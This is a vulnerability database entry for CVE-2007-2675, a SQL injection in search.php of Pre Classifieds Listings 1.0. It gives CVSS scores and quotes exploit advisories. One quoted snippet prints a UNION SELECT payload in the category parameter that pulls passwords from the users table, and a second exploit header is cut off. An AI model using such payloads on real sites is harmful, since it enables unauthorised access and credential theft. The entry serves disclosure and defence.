7.5
CVSSv2

CVE-2007-2675

Published: 14/05/2007 Updated: 11/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 760
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in search.php in Pre Classifieds Listings 1.0 allows remote malicious users to execute arbitrary SQL commands via the category parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

pre projects pre classifieds listings 1.0

Exploits

============================================== Pre Classifieds Listings v10 Remote SQL Injection ============================================== Found: Cyber-Securityorg ============================================== Exploit: searchphp?category=-1/**/union/**/select/**/pass/**/from/**/users/* searchphp?category=-1/**/union/**/select/**/name ...
# Exploit Title: ASP Classifieds Sql Injection # Date: 17/03/2012 # Author: r45c4l # Email: infosecpirate@gmailcom # Script url: preprojectcom/pclasp/home/defaultasp # Version: N/A # CVE : () :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Product Desc ...